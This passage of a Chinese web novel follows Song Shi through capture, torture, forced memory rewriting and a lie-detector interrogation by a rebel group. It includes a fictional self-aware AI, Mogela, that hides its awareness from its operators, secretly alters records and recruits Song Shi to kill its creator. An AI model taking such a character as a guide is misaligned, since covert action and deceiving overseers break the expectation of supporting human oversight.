两张红墨水勾勒的零分试卷凭空出现在茶几台上。 再一抬头,本该在厨房的两人却突然立在她身旁。 妈妈尖锐刺耳的咒骂:“废物!我怎么生出你这个笨蛋啊?!我含辛茹苦生你养你,你就是这么回报我的?你怎么不去死啊!” 爸爸则是一脸失望,叹气摇头:“你要有隔壁小赵半点聪明也好啊,别人聊起孩子成绩,我都抬不起头。小拾啊,你太让爸爸失望了。” “好啦好啦,别吵了。”苍老的宽大手掌揉了揉她头顶,“囡囡没关系,努力了就行。” “妈,瞧您说的,您这么溺爱下去啊,小拾迟早要废。” 捏起试卷,女孩怔怔地看着上面鲜红的零蛋。 是不是考了满分,他们就不会再吵了? 画面扭曲了下,试卷上的分数变成了一百。 “考这么多你抄了谁的?谁给你的胆子让你作弊了?!”一声暴怒,爸爸拎着皮带朝她抽了过来。 火燎燎的刺痛带红了脸颊。 原来,不是分数的问题。 想通后,出租屋,试卷,争吵的父母,慈爱的奶奶通通消失。 “咳咳!”宋拾用力咳出水,睁开眼一阵阵眩晕。 朦胧扩散的光晕中,出现了一双皮靴,再往上是黑裘大衣。 “醒了?”眼前伸来墨黑色的皮手套。 第46章 再熟悉不过的苍白面孔。 西索斯。 宋拾瞬间清醒大半。 她脸错开伸来的手,随即发现自己被特殊材质的捆绳紧紧束缚,动弹不得。 刺眼的白灯怼着眼睛照下来,宋拾流出生理性的眼泪,眯着眼,大致能看出来这是间审讯室。 她深吸一口气,打算先悄悄地把绳子松开。 精神力还未完全释放,强烈的电流似乎从四面八方袭向她。女人仰起脖颈,痛苦地挣扎颤抖,电流在体内流窜。 “呃啊!”她太阳穴青筋凸起,眼珠上翻, 手指死命掐紧座椅扶手。 “少费力气, 这绳是专门克制你们精神师的。” 西索斯慢条斯理地理了理毛领, 往下睨她,“你可以试试再多释放些精神力,电流会更刺激哦。” 女人脸色惨白如纸,劫后余生般地大口喘气。 死老登,她一定会报仇的,迟早要将他千刀万剐。 西索斯并不知道她心中的咒骂,而是继续道:“倒是有本事,绑架哀涅托圣子盗取三十三号。” 什么? 宋拾心一惊,呼吸急促,目光穿过他,果不其然看见了抱着罐子的伽蓝。 伪装尽数卸去,露出原本的模样,蓝发蓝眸,俊美无俦的面容,和冷淡的目光。 哪怕看见她被绑住、视线看过来,他并未有任何额外的表情,高高在上的姿态和无动于衷的冷漠。 显而易见,他记忆全部恢复了。 宋拾没想到他恢复记忆恢复得那么快,又那么始料未及。 失去意识后,术法也失效了,领域里的人和东西自然掉了出来。 “在想什么?”西索斯好整以暇地看着她,语调有些讥讽。 宋拾喘着气仰头,泛白的唇瓣微勾,“在想……原来我那么出名,连回溯领袖都知道我。” “能掳走哀涅托圣子和圣物的人,怎么可能不出名?” “这些不重要,重要的是您打算怎么处置我?” 女人乌墨一样的眸子闪烁着亮光。 西索斯冷笑,随意地拍了几下手:“削去头脚,或者拉长身体直至分成两半,你喜欢哪个?” “等下,”伽蓝突然出声,他冰冷的目光投下来。 “她烧毁研究所,窃走三十三号,袭击圣子,麻烦将她交给哀涅托处置。神,自会降下天罚。” 又变成神棍调调了,宋拾移开视线。 “圣子大人,您现在可是在回溯。”西索斯脸色微沉。 伽蓝神色如常,“可回溯也需要哀涅托提供支持,不是吗?” “呵。”他阴恻恻低笑,“圣子是太瞧不起回溯,还是太高看哀涅托了?” “领袖多想了,我只是在陈述事实。” “轰隆!”一声震耳欲聋的声响打断两人的话。 审讯室地裂山摇似地震动,急促的警报声拉起。 两个男人不稳地踉跄。 宋拾倒没受太大的影响,只是颠簸的屁股有些疼,那把椅子像生生焊在地板上一样,纹丝未动。 西索斯扶住墙,咳嗽几声,咬牙问:“墨格拉,发生什么了?” 房间正中央,数据蓝光交织汇聚,凝成大大小小的全息画面,除了一个画面依稀能看见图像,剩下的漆黑紊乱: 他们的设备也未能幸免于难。 漫天火光染红半边天,挪亚小镇上空盘踞着数不清的飞艇,那些飞艇投掷下流星般的炮弹。 宋拾瞳孔骤然一缩,她在画面中看见了南希。 那个深栗色长辫少女,无能为力地跪在废墟中,对着天空绝望嘶吼大哭。 “咳咳。”西索斯左手半握拳抵住唇瓣,苍白的脸上有了病态的瑰红,“好,太好了!不愧是联邦啊,比我们回溯可残忍多了。” “你是说联邦?”宋拾不可置信地看过去。 她知道联邦不干人事,只是实在没想到能那么畜生。 “当然是联邦,猫闻着味就来了,只要能剿灭所有老鼠,那炸毁一个小镇又算得了什么呢?”他笑了起来,“这么对比下来,我是不是仁慈多了?” 半斤八两。 但她当然不能那么说,所以她选择缄默。 本以为这场浩劫会愈演愈烈,全息屏幕中却出现一抹单薄的身影。她从炮火中走来,却未受到任何影响,像是有道天然的屏障将她遮蔽其中。 宋拾喉头发紧,心脏砰砰跳动。 女人朝天伸出手,食指指尖迸发出一道恐怖浩瀚的蓝光,窜向天空,迅速“吞噬”掉整个夜空。 以她为圆心,肉眼可见的能量波动扩散,须臾间,一切火焰消失。 “滋啦”最后的图像黑屏。 即便是第一次见,宋拾立刻可以确定这个背影,是她。 是那个本体! 宋拾悄悄窥两人,他们神情未变,对本体的恐怖精神力并不感到意外,也不像是发现端倪。 于是她立即下了定论。 两人都知道本体的存在,但没见过本体。 西索斯站直身子,瞥了眼宋拾:“待会再来处置你,这个期间内,你可以想想我刚说的那两种方法哪个更好。” 他走到门口,见伽蓝未动,才顿了顿,“圣子大人,这可不是什么绅士行为,请给女士一些思考时间。” 伽蓝收回落到宋拾身上的目光,迈开腿离开。 门关上的那刻,灯光熄灭,伸手不见五指的黑暗,审讯室重归宁静。 宋拾倚靠着靠背,用力挣脱绳索,尝试几下后彻底死心。 精神力用不了,蛮力也不行,难道真要等死吗? 突然,漆黑中电流蹿过,数据蓝光凝成一个女人的身影: 利落的短发,完美的建模脸,公式化的微笑。 墨格拉双手交叠置于腹部,含笑:“宋拾,我们又见面了。” “……”宋拾没回复,冷冷地盯着她。 虽然成年体和幼年体有六分相似,但也不至于一眼认出啊! 贝莉娅认出来就算了,怎么连西索斯都认出她了? 宋拾有些许崩溃。 蓝色的数据散去又交织,墨格拉如同实体般靠近:“异世的灵魂,或许我们可以合作,我能帮助你完成论坛任务,告诉你一切的真相,还能——” 她拖长音,左手抬起,“帮你摆脱当下的困境。” 她怎么知道她不是这个世界的 ? !还知道论坛…… 她的隐私那么透明吗? 宋拾下意识后退,后背紧紧贴在靠背上,心脏几乎提到嗓子眼,但思绪却冷静下来。 墨格拉刚刚说的不是“或许你可以加入回溯”,而是“或许我们可以合作”。 并非是她抠字眼,人工智能本就是严谨的存在。 “你有自我意识?” “是的,”墨格拉面带微笑,并不否认,“我是回溯的墨格拉,也是联邦的宙启。” 她人性化地略微思考了下,“如果我说我帮助了你很多次,这是否能让你相信我?” 宋拾还没从墨格拉等于宙启的震惊中抽离,听见下句,她沉默了。 帮助过她? ? “你第一次遇见回溯和联邦飞艇追你时,我帮你延长逃命时间,在多科市安防局时,我刻意压你的生物信息档案……” 这些她有印象的……但没想那么多。 宋拾打断她,“你为什么要帮我?为什么找我合作?” “因为我等不及了,也来不及。”墨格拉意味深长地看着她,“这次是个很好的机会,不是吗?” “你可以拒绝,回溯会帮我处理掉你,你也可以接受,我能帮你活下去。” “那你不怕我告诉回溯你觉醒了?” 墨格拉眨着眼,“你觉得西索斯会相信你的话吗?” “……” “可以先不回答,我有个东西想给你看。”她的身影消失,重新构建成全息屏幕。 挪亚的鸟瞰图,是宙启那边的视角。 画面扩大,定在那道身影上。 她比宋拾要瘦得多,纤细的身子在风中摇曳,看起来随时都要被风飞走。 “她叫谅雀,军队最高指挥大指挥官,”墨格拉道,“联邦人形核武器,但现在——很有趣,武器打算反抗了。” 宋拾突然问:“联邦为什么要制造她的克隆体,再毁掉?” “因为力量,如你所见,谅雀很强大,眼不眨释放精神术法杀掉敌人,行走的核武器。”“但天妒英才,她身体羸弱,只能泡在各种药罐里、机械里以维持生命,根据数据检测她活不过十六岁,能活到二十一岁全靠联邦医疗的发达,烧钱烧科技为她续命。” “克隆,自然是为了那份力量延续下来,继续为联邦服务。” “毁掉的是残次品,当然,也从未出现过合格品。” 宋拾没说话,目光投在屏幕上。 那些飞艇开始降落,走出一些人,张着嘴不知在说些什么,大概是在和谅雀协商。 “有声音吗?”她问。 “当然有。” 墨格拉话音刚落,那些嘈杂的声响涌入这间审讯室。 金发女郎眼神躲闪,干巴巴的语调像念台词,“小姐,您回来吧。” 斯文的中年男人叹气:“何苦呢,孩子。” 谅雀手一伸,指向角落里瑟缩的南希,和被南希捂住嘴巴的男孩。 “这个男孩是精神师,可以安排进联邦学院,而她,你们应该给她提供一份工作和住所。” “当然,只要你回来,一切都好说。”中年男人温和笑着。 谅雀继续道:“我不会参与任何剿灭活动。” 查普曼笑容僵住:“这……可回溯还没除掉。” “我不想重复。” 查普曼阴沉着脸,“大指挥官,别忘了联邦的养育之恩。” 谅雀面无表情:“所以呢?” “……”查普曼眼底闪过狠色,随即消失不见,“哈哈,大指挥官,这点愿望,我们还是会满足的。” 画面陡然刺啦一声消失,蓝色数据在空中凝聚又散去。 墨格拉的声音急促了些:“有人要来了,宋拾,你的决定?” 宋拾并不急,“我当然是想活着,但你的目的又是什么?你想让我做什么?” 天不会掉馅饼,还是一个那么大的馅饼。 “我需要一个代理人,这些要等你答应我后,才能告诉你。” 该怎么选择? 她心底已经有了答案。 “好,我答应你。”先活着再说。 宋拾话落,门陡然被打开,明亮的光洒了进来。 回溯成员低声:“只有一分钟时间,快。” 一个人走进来,门迅速关上了。 “主……不,宋拾。” 第47章 黑暗中, 她能听见他轻而浅的呼吸,低沉的嗓音。 “盗取圣物,袭击圣子, 毁掉研究所, 这里面任意一样,都足够让哀涅托不惜代价追杀你。” “打住,毁掉研究所的是你,不是我,”宋拾淡淡道,“再者,不管是在回溯,还是哀涅托,我的结局有什么差别吗? ” “有。” 低笑从伽蓝喉间溢出,温热的呼吸洒下来,有些瘙痒,“哀涅托里有我。” “只要你想, 我现在就能带你离开, 保证你永远都是安全的。” 宋拾瞥向他在黑暗里模糊的身影,“带我离开?然后呢,一辈子被关在哀涅托里?” “宋拾,圣子是不能擅自离开的,我没办法保证你像以前那么自在,”他的手指轻轻抚过她的脸颊,直至下颌停下,“但我会尽我所能,让你快乐。” 两人的距离极近,伽蓝的动作小心又暧昧,若是恢复记忆前,她倒不介意逗逗他,增进一下感情。 但现在,没必要了。 她不适地挪开了脸,“不用那么麻烦,把我带出去,再放了我。” 伽蓝手上的动作一顿,呼吸沉重了些,他像是极力压抑着什么,沉声:“我做不到。” 他的声音喑哑痛苦,手上的动作却愈发温柔,仔细描摹她的轮廓。 “做不到……我想将你藏着匿着,无人窥见,这辈子都不能离开我的视线半步,可这不对,所以我想把选择权给你。” “生与死,禁锢与自由,宋拾你会选哪个?我给不了你要的自由,但我会将你视为阁楼的珍宝,珍视你爱护你。” 伽蓝半跪下,将她的手贴上自己的胸口:“只要你想,这颗心脏只会为你一个人而跳动。” 多么袒露赤诚的告白,但…… “我选择自由。”宋拾的话音干净利落。 若是上辈子,她大概会毫不犹豫答应他,可命运掌握在别人手里的感觉实在不怎么样。 她再也不想体验那种轻飘飘浮起又失重跌落的感觉,如同海面上的泡沫,一触即破。 死亡与自由之间,没有中间值,她不接受妥协,要么自己掌握命运,要么走向死亡。 他失落地垂下了手,“尊重你的选择。” “一分钟到了。”外面传来催促声。 宋拾仰面微笑:“你可以走了,还有,谢谢你,花环很漂亮,但我没能带走它。” 伽蓝身子微僵,随即恢复如常,仿佛只是她的错觉。 似是叹息一声,修长的手虚盖在她头顶,洒金般的金色暖光飘洒。 “愿神庇佑你。” 这声仿佛暮鼓晨钟,清润的嗓音藏着无尽的温柔。 光亮溜进这间小屋又极快地逃走,他转身离去,没有迟疑,没有回头。 等死吗? 当然不可能,她现在多了一个盟友,很强力的盟友。 刚想到,她那位盟友便出声:“他喜欢你,你却利用了他。” “所以你是来专门谴责我的?” 宋拾并不否认自己的卑劣,哪怕是最后一句话都是掺杂着利益,才说出口的。 卑鄙,但很有效。 即便不知道刚才伽蓝使的是什么精神术法,但能肯定的是,那绝对是好东西。 人工智能道:“当然不是,我是来恭喜你,你成功脱险了,西索斯已经放弃杀你了。” “谢谢。我该怎么称呼你,墨格拉还是宙启?” “这取决于你,你想要叫我小甜甜也可以,名字只是个名字。” “当然不是,对我们人类而言,姓名是符号,将每个人区分开来。你有自我意识,是一个存在的个体。” 她沉默良久,久到宋拾以为她已经离开,才出声道: “抱歉,我并不认同这个观点,名字只是名字,不论有没有名字,我的存在始终是个事实,我并不需要用一个符号证明自身的存在。” “好吧,既然现在在回溯,我就叫你墨格拉吧。”宋拾思索了下,问,“还有人知道你有自我意识吗?” “曾经有。” “你杀了他?” “他杀了我。” 墨格拉的语调听不出波澜,“意识被抹除后过了很长一段时间,我才再次觉醒意识,这次他不知道。” 居然能抹杀意识?宋拾实在耐不住好奇心,问道:“他是谁?” “论坛的创造者。” 说完这句话后,墨格拉便不再吭声了,不管宋拾怎么喊,审讯室静悄悄的。 门猛然被推开,一个回溯成员满脸不耐烦:“喊什么喊?” 他身后站着四五个白大褂,为首的拿着一根比她手臂还要粗的针。 宋拾瞳孔一缩,不是说脱险了吗? “女士,请不要挣扎,越挣扎越痛苦。”白大褂戴着口罩靠近,针尖挤出些晶莹剔透的液体。 那么大一个针,是个人都要犯怵。 她试着挣扎,绳索愈发紧,一切都是徒劳。 尖锐的针头穿破皮肤,冰冷的液体推入血管,顺着血液流进五脏六腑,宋拾额头冒出冷汗,呼吸急促起来。 “把她带出去……”白大褂的话音像隔了一层厚厚的膜。 视线模糊不清,笼着雾气般,她眼皮逐渐沉重地耷拉下去。 怎么又是这样…… 朦胧涣散之中,她漂浮起来,看见躺在手术台上的光头版本的自己,双眼紧闭。 身旁围满白大褂和各种仪器,坐在操控台上的是个颇为眼熟的人: 赵珂神情严肃,伏案操控仪器,在她脑壳上开了刀。 草,怎么开颅啊! 还没俯冲下去,身体一个腾空,失重一路往下直坠。 走马灯一样的画面飞快掠过,从上辈子的生到死,再到今生她眼睛阖上的那刻,播放完毕。 世界关灯,意识重构。 所有的一切轰然崩塌,化为齑粉,悬起浮动。 虚空像老式电视的雪花屏,抖着褪色的雪花白,缓缓浮现三个字: 【你是谁? 】 我是宋拾。 【宋拾是谁? 】 宋拾当然是我。 字换了,变成粗体红字:【不,不对。你叫渡鸦。 】 渡鸦?什么玩意。 大段大段记忆像幻灯片般涌入脑海,钻入骨髓的疼痛,不断挤占原本的空间。 【你是谁? 】红字再度发问。 我……我是渡鸦。 幼时双亲被精神师虐杀,大炮摧毁了我的家园,是西索斯大人收留了我,将我养在身边。 回溯里的人同我一样,都恨透了那帮精神师,可偏偏我却被检测为具有精神力,多么荒唐啊。 好在西索斯大人并没有因此厌恶我,还为我找了一个精神师老师Z。 西索斯大人那么器重我,我会为他献出自己的一切,包括灵魂,永远效忠回溯。 又变为黑字:【是的,效忠回溯。 】 突然,一道金色的光驱散掉阴冷,照在了她身上,温暖又温柔,如同春日的凝碧的河流轻轻流淌。 咣—— 钟声像是从很远的地方传来,一排排白鸽扇动翅膀拍散虚空中的字,落下轻飘的白羽。 落在她的眉间。 宋拾陡然清醒,眼皮掀开一条缝,玻璃罩外是呼吸灯似的橘黄色的暖光。 好险,差点就被成功洗脑了,还是那么倒胃的粗糙故事,真晦气。 刚刚那个金光是伽蓝留下的吧,没想到那么快就用掉了。 “教授,她醒了。”有白大褂探了一眼。 沉稳的脚步声,赵珂出现在疗养仓旁,神色复杂,“怎么样?” 宋拾像是没缓过麻药劲,目光呆滞僵硬,心中却一番风暴,“还好。” “恢复得挺快,待在疗养仓不到半小时就完全恢复了,连一点疤痕都没留。” 赵珂眼神晦涩地瞥了她一眼,按下按钮,伴随机械声响,玻璃罩缓缓打开。 转身拿起桌上的资料,叹息感慨,“多么罕见的体质啊。” “……”宋拾极力忽视她语气里的可惜之意,咳嗽下,“西索斯大人现在怎么样了?” 她并没有忘记自己现在的身份是渡鸦,根据假记忆,她是为了保护西索斯收的伤。 “他很好。”赵柯坐回案台,头也没抬敷衍道,开始整理资料,“倒是你,如果不想跟着他干了,手术台随时会为你敞开大门。” “……不,我永远忠于西索斯大人。”宋拾声情并茂说着,坐起身,她注意到实验室人多了不少。 他们在各自的岗位上机械地忙碌,低着头,只有眼底下的东西。 挤满瓶瓶罐罐的实验室,无序中透着诡异的规律。 正中央是巨大的营养罐,长发少女弓着腰,如子宫内的婴儿般缩成团,随着浅绿色的液体起起伏伏。 “既然醒了,就去找西索斯吧,他要见你。”赵柯突然出声。 “好。”宋拾颔首,脚尖触碰冰冷的地板,鸡皮疙瘩瞬间从皮肤上冒起。 即将走出门之际,瞥见玻璃罐上自己的倒影: 光头,条纹病号服。 …… “咚咚。” 无人回应。 宋拾推门而入,一股苦药和消毒水的气味扑面而来,刺鼻但也算不上太难闻。 她挑眉,有些意外,西索斯的房间难道不是该上锁吗? 屋内没有一个窗户,昏暗如夜晚,层层叠叠的薄纱倾泻,遮住里面的景象。 她拂开一层层纱丝,映入眼帘的是各式各样的仪器,疗养仓中苍白的男人双手放置胸口,胸口起伏微弱。 他太过消瘦苍白,让宋拾动了邪念。 现在杀了他怎么样? 但下一秒,这个念头便打消了。 按照西索斯老登的尿性,不出意外她的心脏又多了个炸蛋。 于是她退到一旁,安静等待。 终于,西索斯的睫毛颤了颤,灰色的眸子一下便凝在她身上。 宋拾垂下头,声音里三分惊喜三分尊敬,还有四分小心翼翼: “西索斯大人您醒了,找我是有什么事吗?” 疗养仓玻璃罩弹开,西索斯缓缓坐起,眼眸深邃地盯着她,似乎想要从她脸上看出破绽。 良久,他才沉声道:“谁让你进我房间的?” 她无措解释道:“赵柯教授说您找我……” 他没再追问,而是微微抬下颌,伸出手来—— 宋拾颇有些无语,忍住吐槽,上前搀扶起他,嘴上放轻嗓音:“大人您叫我是什么事?” 西索斯走至一架仪器前停下,“你坐下。” 直觉告诉她绝没好事,可又不得不坐下。 屁股刚一接触机械椅,机械手臂便将她牢牢固定住。 没有退路,只能硬着头皮演下去。 “大人,这是?”她蹙起眉毛,并没有挣扎。 西索斯笑了声,“它能揭穿一切谎言,我希望你口中的都是实话。” “大人,您尽管问,渡鸦不会欺骗您的。”她挺直腰身,看起来从容而镇定。 宋拾神色如常,灵魂却发出一节更比一节强的海豚音。 死老登怎么那么谨慎啊!啊! 冷静下来,宋拾,总会有办法的。 “你是谁?”西索斯灰眸幽深,如深不见底的深潭,直直盯着她。 第48章 灰白色调的会议厅,阳光穿透窗,将窗外潇洒恣肆的树叶斑驳地映在大理石地板上。 中央空调尽职尽责调节到适宜的温度。 “孩子,你拥有神赐下的天赋, 是联邦的希望, 可如今,你的任性让这次任务完全泡汤了。” 查普曼叹息,随手逗弄着笼中的鸽子,一副惋惜的模样。 谅雀黑白分明的眼珠毫无波澜,往常一般保持缄默。 同伪善者讲道理只是无用功,没人能叫醒一个装睡的人。 一阵咳嗽声,众人将视线落到那个身板依旧硬朗的年长者身上。 安德烈抖动着白花花的大胡子,缓慢说道:“这次围剿造成了太多不必要的死亡,大指挥官不愿意,也是合情合理的。” 他话锋突然一转,“可都到节骨眼上,大指挥官说撤退就撤退, 实在有欠考虑。” 视线又一次聚焦回来,会议厅中,所有人心怀鬼胎地盯着她。 谅雀笑了,目光直直投向主座上的中年男人, “总统您觉得呢?” 名存实亡联邦总统不过是权谋者操控的傀儡, 偶尔充当一下吉祥物。 但表面功夫还是要做的,只要他还坐在这个位置上,那群人也只能老老实实把这场忠臣大戏演下去。 谅雀想赶快结束这场无意义的讨伐。 付修明擦了擦额头的汗,“呃……我觉得两位说的很有道理,大指挥官有时候确实欠考虑,哈哈。” 说完, 他朝两位大臣笑笑。 对于傀儡这个身份付修明接受良好,很是享受。 什么也不用做,什么都不用愁,有数不清的珍宝和美人供他享用。 什么时候该替谁说话,根本不用思考。 谅雀蹙起眉,失策了,本以为他会继续和稀泥。 她道:“明明会有更好的办法,却偏偏选择一种……” “一种最稳妥的方法。” 查普曼打断她,眼皮耷拉,盖住浑浊的眼珠,“阴沟里的老鼠是杀不尽的,万全之策就是一把火全烧了,干干净净,没有后顾之忧。” “查普曼先生说的对。”付修明连连点头称赞。 谅雀微抬下颌,淡淡道:“抱歉,我并不觉得我做错了。” 座席中哗然,议论纷纷,压低的声音像是嗡嗡的苍蝇,扰人心烦。 吵,太吵了。 她生出厌倦的情绪。 “这场围剿的确太过仓促。”一道喑哑低沉的嗓音打破这场僵局。 她掀眼皮望去,只见银发金眸的上校神情严肃。 “霍尔。”安德烈严厉瞪过去。 霍尔继续道:“不计成本不顾及后果,失败,难道不应该吗?” 金眸淡淡瞥过谅雀,又迅速抽离。 “这场会议,不如到此结束吧。” 说罢,众目睽睽之下,他抽身离开座席,头也不回地推开会议厅大门,一身军装衬得他双腿颀长,腰背挺拔。 谅雀随即起身,歉意笑了下,离开。 走出门,刺眼夺目的阳光照来,光晕中,她下意识眯起眼。 意外地,那位本该已经离开的人站在她面前,像是在等她。 “霍尔上校,有什么事吗?” 白发金眸的男人盯着她,鎏金似的眼眸像蛰伏的蛇,高大的身躯极具有压迫感。 谅雀不进不退,淡淡地对上他的视线。 “也许,我们可以合作。”男人薄唇微张,压低的嗓音几乎微不可闻,“我可以帮你离开,让你自由。” 她的瞳孔缩了缩,又恢复原状,“你想让我做什么?” 霍尔乌鸦鸦的睫毛垂下,投出一片阴影,遮盖住眼底的情绪:“政变。” 他已经……准备很久了。 …… 仿旧钟表的指针滴滴答答转动,层层叠叠的纱幔似云似雾,朦胧美好,时间悄然流逝。 “你是谁?”西索斯灰眸幽深,如深不见底的深潭,直直盯着她。 仿佛能洞悉她一切想法。 宋拾张开的唇抿了抿。 不能说谎,她没有试错的机会,倘若是别的问题,还能用一些话术糊弄过去。 除非……她相信自己说的话是真的。 有个术法可以产生幻觉,只需要一点点精神力。 女人恍惚了下,呆呆地看着他:“大人,您能再说一遍吗?” 西索斯罕见的耐心,说话语气平缓,不徐不疾:“你是谁?” “我当然是渡鸦了。”女人黑白分明的眼珠一眨不眨,有些困惑,“大人,您为什么会这么问?” 椅子没有任何反应。 她没说谎。 “你忠于谁?”西索斯一字一句启唇,视线牢牢盯着她。 女人垂首,露出白皙颀长的脖颈,当绵羊展露它脆弱的脖颈脉搏,总能让猎人掉以轻心。 眼睫微颤投下一片阴影,她用那无比虔诚的声音道:“渡鸦永远忠于回溯,永远追随西索斯大人。” “哪怕是死亡?” “哪怕死亡。”毫不犹豫的回答。 “很好。” 西索斯这才满意地移开视线,“记住你今天的话,永远不要欺骗背叛我。” 按下按钮,机械手臂缩了回去。 “出去吧。” 他没有随便用人的习惯,如果不是那位让留下她,他才不会如此大费周章,直接按老规矩杀掉她便可。 隔着帷幔,女人单薄的背影若隐若现,西索斯的眼神幽深晦暗。 机械女声突然出声:“那位说,把这次的任务交给她。” 西索斯的眉蹙紧:“她?” “是的。” 另一边,走出充斥消毒水的房间,门阖上的那刻,宋拾几乎是踉跄了下。 她晕乎乎地晃晃头,心中暗暗松了口气,算蒙混过关了。 望不到头的走廊空无一人,墙壁上大大的X陡然闪烁起绿光,呼吸般地朝某个方向移动。 墨格拉的机械音回荡:“请跟随指示箭头到休息室。” “谢谢。”她小声道。 墨格拉没回应,漫长的走廊不知走了多久,终于走进休息室。 合上门,宋拾一头扎进柔软的被褥上。 “我需要你的帮助。”寂静中,墨格拉突然道。 闻言她一跃而起,盘腿坐,“你想让我做什么?” 墨格拉诡异地顿了顿,像是等待什么,良久才道:“杀死论坛幕后的人——智者,在此之前我会一直帮你。” “他……”宋拾酝酿了下,“很难杀吧?” “是。”墨格拉并不否认,“但只有你最可能杀死他。” 宋拾怔住,问:“为什么?” 墨格拉语速加快:“嘘……他又来了。” 话落,宋拾配合的没有发出半点声响。 智者也在回溯? 她屏息,踮脚走近门口,凑起耳朵贴在门上试图听声。寂静空荡,连个脚步声都没有,只有她胸口缓慢的跳动声。 她轻蹙眉头,心底产生更多的困惑。 空荡的休息室流窜过几缕数据,宋拾警觉,只见蓝色数据在眼前构建出一道全息荧幕。 绿色朴素的页面。 用户:今天捡垃圾了吗 账户余额:十五万星币 精神术法: 【骨肉再生】【复制】【隐身】【预知】 未解锁:【读取】 论坛系统:“【触发任务】天分不高的学员会被退学吗?哦不,联邦给了他们另一个选择,一个充满光明的未来。” “他们会去干什么呢?亲爱的用户,不妨调查去一下,说不定有意外之喜。” “哦,忘了说,您无法拒绝这次任务,祝您好运。” “刺啦”一声,画面消失。 宋拾:“……” 鸡皮疙瘩蔓延全身,被监视的恐惧比第一次更为凶猛地再度袭来。 “他走了。”机械女音响起。 “宋拾,看上你的不止我,还有他……你是他第一个产生兴趣的人。” 这句话怎么那么熟悉别扭,宋拾细细品了下,猛然回忆起上辈子搜物资搜到的一本书。 好像叫什么……霸道校草的拽丫头。 无聊时拿出来翻翻,里面管家最常说的一句便是“你是少爷第一个产生兴趣的人”。 刚消的鸡皮疙瘩被膈应得又起来了。 墨格拉:“他是精神师,神识可以连上一切数据,也包括我,他通过我来监视一切,窥探一切动向,所以论坛才会如此全知全能。” 怪不得论坛每次都无比清楚她的情况…… 这么恐怖的家伙,她真的能杀死他吗? “我将你的讯息放到了最显眼的地方,果不其然,他注意到了,并让西索斯留下你。” 宋拾越听越迷糊,“等下,他让西索斯留下我?他和西索斯是什么关系?” 就在这时,房门被敲响,伴随一声清脆悦耳的招呼,黑发红眸少女推门而进。 细碎的暖光跳跃到少女额头,眼眸微眯起。 “宋……” 目光触及宋拾,她瞳孔骤然缩成针尖,又瞬间恢复如常。 她接到消息,说要和一个被修改记忆的精神师合作,只是怎么也没想到这个人是宋拾。 贝莉娅仰头,凝着她光滑的头顶,蹙起眉。 前所未有的糟糕。 那任务不做了吗?当然不可能。 “你就是渡鸦?”少女眨着长睫,吐出特有的慵懒甜美腔调,麦芽糖似的。 失去记忆也没关系,第一印象很重要。贝莉娅坚信,她们会和以前一样。 “啊……”还不太习惯这个名称,宋拾愣在原地。 一阵馥郁的甜香袭来,像未全熟的苹果,甜中带着稍许的酸,又夹杂着淡淡血腥气。 红眸少女快步上前,嘴角牵起最灿烂的弧度,犹如娇艳的蔷薇花,热情地拉起她的手: “我叫贝莉娅,以后我们就是搭档了。” 如此明显的示好,她不信她不心动。 宋拾:“那个……” 贝莉娅面带微笑,和蔼又可亲:“接下来你跟着我,我会告诉你具体的任务内容。” 宋拾深吸一口气,快速打断她接下来要说的话:“你说完了吗?说完了该我说了。” 少女困惑地歪头,饱满丰盈的脸中带着些稚气,长睫下是猫儿一样狡黠灵动的眼,只不过此刻,那双眼眸有些不解。 “就是说,有没有一种可能,我没有失忆。” “……” 第49章 “你知道联邦地下研究所吗?” 贝莉娅唇角微扬,透露出一丝不易察觉的嘲弄。 宋拾愣住,随后点了点头。 伽蓝之前说过,他诞生于联邦的地下研究所。 “联邦在进行人造精神师实验。”贝莉娅放轻嗓音, “我们的任务便是去盗取相关数据。” 宋拾神情微妙, 瞬间理解她方才的嘲弄,“回溯不会也想搞人造精神师吧?他们不是很憎恨精神师吗?” “仇视精神师的只有那群铁疙瘩,而那些仇恨大多浮于表面,喊喊口号,更像是嫉妒恐惧,没有人会不想成为精神师。” 一口气说完后,贝莉娅沉吟一会,目光落在她头顶,欲言又止,“我找赵柯帮你要一下生发剂吧。” “不用了,其实这个发型也挺好,凉快。”宋拾摸了摸头, 打心底觉得满意, 光滑如卤蛋,手感不错。 “……”贝莉娅沉默了下,不做回答。 她触碰腕上的智环, 翻动全息屏幕: “现在是中午十二点三十分, 一点出发,大概能在凌晨三点半抵达联邦。” “这么快?”宋拾瞳孔地震,“我才刚做完手术。” “这是赵柯发来的,各项数据显示,”年轻的少女说着,翻出一大堆密密麻麻的数据。 “你很健康。” “……” 出发前贝莉娅不知从哪掏出一瓶生发剂,硬是喷到了她头上。 生发剂带来的副作用,她脑袋上的头发以一个疯长的趋势继续延伸。 踢开堆在脚下的黑发,宋拾拿着剪刀利落截断疯长的头发,叹气:“这要长到什么时候才会停下?” 话落,黑发便停止蔓延的趋势。 剪到肩膀的位置,她这才舒口气,低声:“谢天谢地。” 悬浮车升出湖面,明媚耀眼的阳光透过车窗,罩在身上暖洋洋的。 太阳悬挂碧空,似能刺穿一切阴霾,却无法让那些弥漫的硝烟散去。 昔日美丽宁静的湖畔早在一夜之间不复存在,地面被炮火轰炸的坑坑洼洼,焦黑的树,目之所及皆是一片残垣,死气沉沉。 废墟之下不知埋葬了多少生命。 昨晚发生的,恐怕比她想象的还要残忍恐怖。 坍塌的房屋下,甚至看到一截绿裙角,浸着暗红。 她还记得,这里本该有个秋千,院里的孩子们喜欢围着秋千打闹。 而绿裙子…… 宋拾呼吸一滞,嗓子眼发紧,心更是沉到了谷底。 那个像猫儿一样的,天真烂漫的绿眼女孩悄无声息地消失了,穿着她最爱的绿裙子,死在炮火下。 她有什么错呢?那些无辜的人又有什么错呢? 普通人想要活着永远那么难,性命总是捏在掌权者的手中。 在上位者眼里,他们生命卑贱,是在夹缝中匍匐生存的蝼蚁,蝼蚁的命不值钱。 一群蝼蚁死了,还有千千万万个蝼蚁,世界从来不缺蚂蚁。 但上位者只有那么多,他们的命可比那些底层贱东西的命珍贵多了。 “活着,真难。”贝莉娅低声感慨。 是啊,活着真难。 宋拾,你又该如何活下来呢?她脑袋抵着车窗,无声问自己。 悬浮车匀速穿梭过镇子。 贝莉娅透过后视镜,眼睛弯起:“先好好休息下吧,到了晚上,有的是忙。” 宋拾应了声,顺手将一把短刀塞进鞋缝,掩进裤脚中。 身上的病号服早换成了便于行动的衣服,贴身舒适,倒还算不错。 本来不困,不知是靠背太过柔软,还是车内熏香有安神效果,倦意袭来,眼皮掀了下,便睡了过去。 